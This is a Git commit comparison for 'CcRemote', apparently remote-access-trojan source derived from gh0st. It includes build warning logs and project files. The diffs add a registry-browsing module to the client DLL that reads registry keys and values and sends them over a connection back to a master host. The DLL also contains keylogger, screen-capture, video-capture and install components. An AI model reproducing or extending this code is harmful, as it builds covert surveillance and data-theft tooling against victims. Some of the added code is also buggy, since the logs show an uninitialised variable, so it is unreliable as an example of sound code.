Compare commits

..

13 Commits

Author SHA1 Message Date
Cc28257
af1ee77a38 添加服务端的流程图 2020-06-30 18:54:36 +08:00
changcheng
18b6093b62 update bmp 2020-06-29 15:22:04 +08:00
changcheng
fe08644d48 界面变更 2020-06-29 12:34:37 +08:00
Cc28257
dc7e4d9ae2 注释 2020-06-26 18:38:33 +08:00
Cc28257
7eb48f2436 Merge remote-tracking branch 'origin/master' into test 2020-06-26 16:17:48 +08:00
Cc28257
bd7c98b42d 图标更新 2020-06-26 16:15:35 +08:00
Cc28257
9a966988ae Merge remote-tracking branch 'origin/test' 2020-06-26 14:34:07 +08:00
Cc28257
bb75d929cc 注册表获取信息交互 2020-06-26 13:30:37 +08:00
Cc28257
17da000043 服务端注册表 2020-06-26 10:27:25 +08:00
Cc28257
910efd3d65 Synchronous account 2020-06-25 18:20:20 +08:00
Cc28257
2017d98ea3 Synchronous account 2020-06-25 18:17:06 +08:00
Cc28257
b7c685728f change name 2020-06-25 17:45:32 +08:00
Cc28256
e88d617fd6 change name 2020-06-25 17:24:42 +08:00
48 changed files with 958 additions and 285 deletions

Binary file not shown.

View File

@@ -188,6 +188,8 @@
<ClInclude Include="common\loop.h" />
<ClInclude Include="common\Manager.h" />
<ClInclude Include="common\RegEditEx.h" />
<ClInclude Include="common\RegeditOpt.h" />
<ClInclude Include="common\RegManager.h" />
<ClInclude Include="common\ScreenManager.h" />
<ClInclude Include="common\ScreenSpy.h" />
<ClInclude Include="common\ServerManager.h" />
@@ -255,6 +257,12 @@
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>

View File

@@ -93,6 +93,12 @@
<ClInclude Include="common\ServerManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegeditOpt.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegManager.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
@@ -161,5 +167,11 @@
<ClCompile Include="common\ServerManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -56,23 +56,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 's
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
@@ -100,6 +100,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996:
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
RegeditOpt.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
RegManager.cpp
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
@@ -125,6 +142,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309:
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
正在生成代码...
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换

View File

@@ -98,6 +98,10 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServicesManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_REGEDIT: //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;

View File

@@ -4,7 +4,7 @@
#include "..\pch.h"
//---<2D><>ʵ<EFBFBD><EFBFBD>CManager<EFBFBD><EFBFBD>ʲôҲû<EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>gh0st<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ôʹ<EFBFBD><EFBFBD>cClientSocket<EFBFBD>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
//---<2D><>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><>ClientSocket main <20><><EFBFBD><EFBFBD>
#include "Manager.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////

View File

@@ -0,0 +1,55 @@
// RegManager.cpp: implementation of the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegManager.h"
#include "RegeditOpt.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegManager::CRegManager(CClientSocket *pClient):CManager(pClient)
{
BYTE bToken=TOKEN_REGEDIT;
Send((BYTE*)&bToken,1);
}
CRegManager::~CRegManager()
{
}
void CRegManager::Find(char bToken, char *path)
{
RegeditOpt reg(bToken);
if(path!=NULL){
reg.SetPath(path);
}
char *tmp= reg.FindPath();
if(tmp!=NULL){
Send((LPBYTE)tmp, LocalSize(tmp));
LocalFree(tmp);
}
char* tmpd=reg.FindKey();
if(tmpd!=NULL){
Send((LPBYTE)tmpd, LocalSize(tmpd));
LocalFree(tmpd);
}
}
void CRegManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0]){
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(nSize>=3){
Find(lpBuffer[1],(char*)(lpBuffer+2));
}else{
Find(lpBuffer[1],NULL);
}
break;
default:
break;
}
}

View File

@@ -0,0 +1,25 @@
// RegManager.h: interface for the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
#define AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CRegManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
CRegManager(CClientSocket *pClient);
virtual ~CRegManager();
protected:
void Find(char bToken,char* path);
};
#endif // !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)

View File

@@ -0,0 +1,183 @@
// RegeditOpt.cpp: implementation of the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegeditOpt.h"
#include "..\..\..\common\macros.h"
#include <stdlib.h>
#include <malloc.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
RegeditOpt::RegeditOpt()
{
}
RegeditOpt::RegeditOpt(char b)
{
switch(b){
case MHKEY_CLASSES_ROOT:
MKEY=HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
MKEY=HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
MKEY=HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
MKEY=HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
MKEY=HKEY_CURRENT_CONFIG;
break;
default:
MKEY=HKEY_LOCAL_MACHINE;
break;
}
ZeroMemory(KeyPath,MAX_PATH);
}
RegeditOpt::~RegeditOpt()
{
}
char* RegeditOpt::FindPath()
{
char *buf=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
//һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
KeySize=KeyMaxLen+1;
if(KeyCnt>0&&KeySize>1){
int size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD datasize=KeyCnt*KeySize+size+1;
buf=(char*)LocalAlloc(LPTR, datasize);
ZeroMemory(buf,datasize);
buf[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
msg.size=KeySize;
msg.count=KeyCnt;
memcpy(buf+1,(void*)&msg,size);
char * tmp=new char[KeySize];
for(dwIndex=0;dwIndex<KeyCnt;dwIndex++) //ö<><C3B6><EFBFBD><EFBFBD>
{
ZeroMemory(tmp,KeySize);
DWORD i=KeySize;
RegEnumKeyEx(hKey,dwIndex,tmp,&i,NULL,NULL,NULL,NULL);
strcpy(buf+dwIndex*KeySize+size,tmp);
}
delete[] tmp;
RegCloseKey(hKey);
buf=(char*)LocalReAlloc(buf, datasize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
char* RegeditOpt::FindKey()
{
char *szValueName; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
char *szKeyName; //<2F>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
LPBYTE szValueDate; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
char *buf=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DataSize,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
if(NameCnt>0&&MaxDateLen>0&&NameSize>0)
{
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
REGMSG msg;
msg.count=NameCnt; //<2F>ܸ<EFBFBD><DCB8><EFBFBD>
msg.size=NameSize; //<2F><><EFBFBD>ִ<EFBFBD>С
msg.valsize=DataSize; //<2F><><EFBFBD>ݴ<EFBFBD>С
int msgsize=sizeof(REGMSG);
// ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCnt+ NameSize*NameCnt+DataSize*NameCnt+10;
buf=(char*)LocalAlloc(LPTR, size);
ZeroMemory(buf,size);
buf[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
memcpy(buf+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize);
char *tmp=buf+msgsize+1;
for(dwIndex=0;dwIndex<NameCnt;dwIndex++) //ö<>ټ<EFBFBD>ֵ
{
ZeroMemory(szValueName,NameSize);
ZeroMemory(szValueDate,DataSize);
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,NULL,&Type,szValueDate,&DataSize);//<2F><>ȡ<EFBFBD><C8A1>ֵ
if(Type==REG_SZ)
{
tmp[0]=MREG_SZ;
}
if(Type==REG_DWORD)
{
//DWORD d;//=(DWORD)*szValueDate;
// CRegistry reg(hKey);
// reg.Read(szValueName,&d);
// memcpy(szValueDate,(void*)&d,sizeof(DWORD));
tmp[0]=MREG_DWORD;
}
if(Type==REG_BINARY)
{
tmp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ)
{
tmp[0]=MREG_EXPAND_SZ;
}
tmp+=sizeof(BYTE);
strcpy(tmp,szValueName);
tmp+=msg.size;
memcpy(tmp,szValueDate,msg.valsize);
tmp+=msg.valsize;
}
free(szValueName);
free(szValueDate);
buf=(char*)LocalReAlloc(buf, size, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
void RegeditOpt::SetPath(char *path)
{
ZeroMemory(KeyPath,MAX_PATH);
strcpy(KeyPath,path);
}

View File

@@ -0,0 +1,48 @@
// RegeditOpt.h: interface for the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)
#define AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
DWORD valsize; //ֵ<><D6B5>С
};
class RegeditOpt
{
public:
void SetPath(char *path);
char* FindKey();
char* FindPath();
RegeditOpt();
RegeditOpt(char b);
virtual ~RegeditOpt();
protected:
char KeyPath[MAX_PATH];
HKEY MKEY;
};
#endif // !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)

View File

@@ -9,6 +9,7 @@
#include "SystemManager.h"
#include "KeyboardManager.h"
#include "ServerManager.h"
#include "RegManager.h"
#include "..\StrCry.h"
#include "until.h"
#include "install.h"
@@ -322,10 +323,10 @@ void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
{
OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
//OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
@@ -337,5 +338,20 @@ DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
return 0;
}
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_RegeditManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CRegManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
#endif // !defined(AFX_LOOP_H_INCLUDED)

Binary file not shown.

Binary file not shown.

View File

@@ -227,6 +227,7 @@
<ClInclude Include="InputDlg.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="PublicStruct.h" />
<ClInclude Include="RegDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="SEU_QQwry.h" />
<ClInclude Include="targetver.h" />
@@ -269,6 +270,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="RegDlg.cpp" />
<ClCompile Include="SEU_QQwry.cpp" />
<ClCompile Include="TrueColorToolBar.cpp" />
</ItemGroup>
@@ -291,10 +293,17 @@
<Image Include="res\bmp00001.bmp" />
<Image Include="res\CcRemote.ico" />
<Image Include="res\cmdshell.ico" />
<Image Include="res\dword.ico" />
<Image Include="res\file_ico.ico" />
<Image Include="res\liset_online_pic.bmp" />
<Image Include="res\logo.bmp" />
<Image Include="res\regsz.ico" />
<Image Include="res\remote.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\ToolBar_Main.bmp" />
<Image Include="res\文件夹1.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@@ -96,6 +96,9 @@
<ClInclude Include="CServerDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="RegDlg.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@@ -155,6 +158,9 @@
<ClCompile Include="CServerDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="RegDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">
@@ -215,5 +221,26 @@
<Image Include="res\audio.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\dword.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\regsz.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\remote.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\文件夹1.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\file_ico.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\logo.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\liset_online_pic.bmp">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -8,6 +8,7 @@
#include "CcRemoteDlg.h"
#include "afxdialogex.h"
#include "CSettingDlg.h"
#include "RegDlg.h"
#include "..\..\common\macros.h"
@@ -75,6 +76,7 @@ void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_ONLINE, m_CList_Online);
DDX_Control(pDX, IDC_MESSAGE, m_CList_Message);
DDX_Control(pDX, IDC_STATIC_LOGO, m_PicLogoA);
}
BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
@@ -87,7 +89,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
@@ -219,24 +222,40 @@ BOOL CCcRemoteDlg::OnInitDialog()
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
m_OnlineCount = 0;//初始上线数为0
InitSystemMenu();//初始化系统托盘
InitToolBar();//初始化工具栏按钮控件
InitMyMenu();//初始化菜单控件
InitList();//初始化列表控件
m_OnlineCount = 0; // 初始上线数为0
InitSystemMenu(); // 初始化系统托盘
InitToolBar(); // 初始化工具栏按钮控件
InitMyMenu(); // 初始化菜单控件
InitList(); // 初始化列表控件
InitStatusBar();//初始化状态栏控件
InitPic();
//---------改变窗口大小触发动态调整-------|
CRect rect;
GetWindowRect(&rect);
rect.bottom += 20;
rect.bottom += 50;
rect.right += 30;
MoveWindow(rect);
//----------------------------------------|
ListenPort();//监听端口
Test();
isTrue = 0;
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
void CCcRemoteDlg::InitPic()
{
CRect rect;
rect.left = 0;
rect.top = 0;
m_PicLogoA.MoveWindow(rect);
//通过资源ID载入BitMap资源
m_BitmapPicLogoA.LoadBitmapA(IDB_BITMAP_LOGO);
//给图片控件设置位图
m_PicLogoA.SetBitmap(m_BitmapPicLogoA);
}
void CCcRemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
@@ -314,12 +333,9 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
int lenth = dd; //转换为int 类型
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
}
//TCHAR szBuffer[_MAX_PATH];
//VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
//CString sPath = (CString)szBuffer; sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义CListCtrl m_controllist1;
sPath.ReleaseBuffer();
}
if (m_CList_Message.m_hWnd != NULL)
{
@@ -337,9 +353,6 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
int lenth = dd; //转换为int 类型
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
}
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
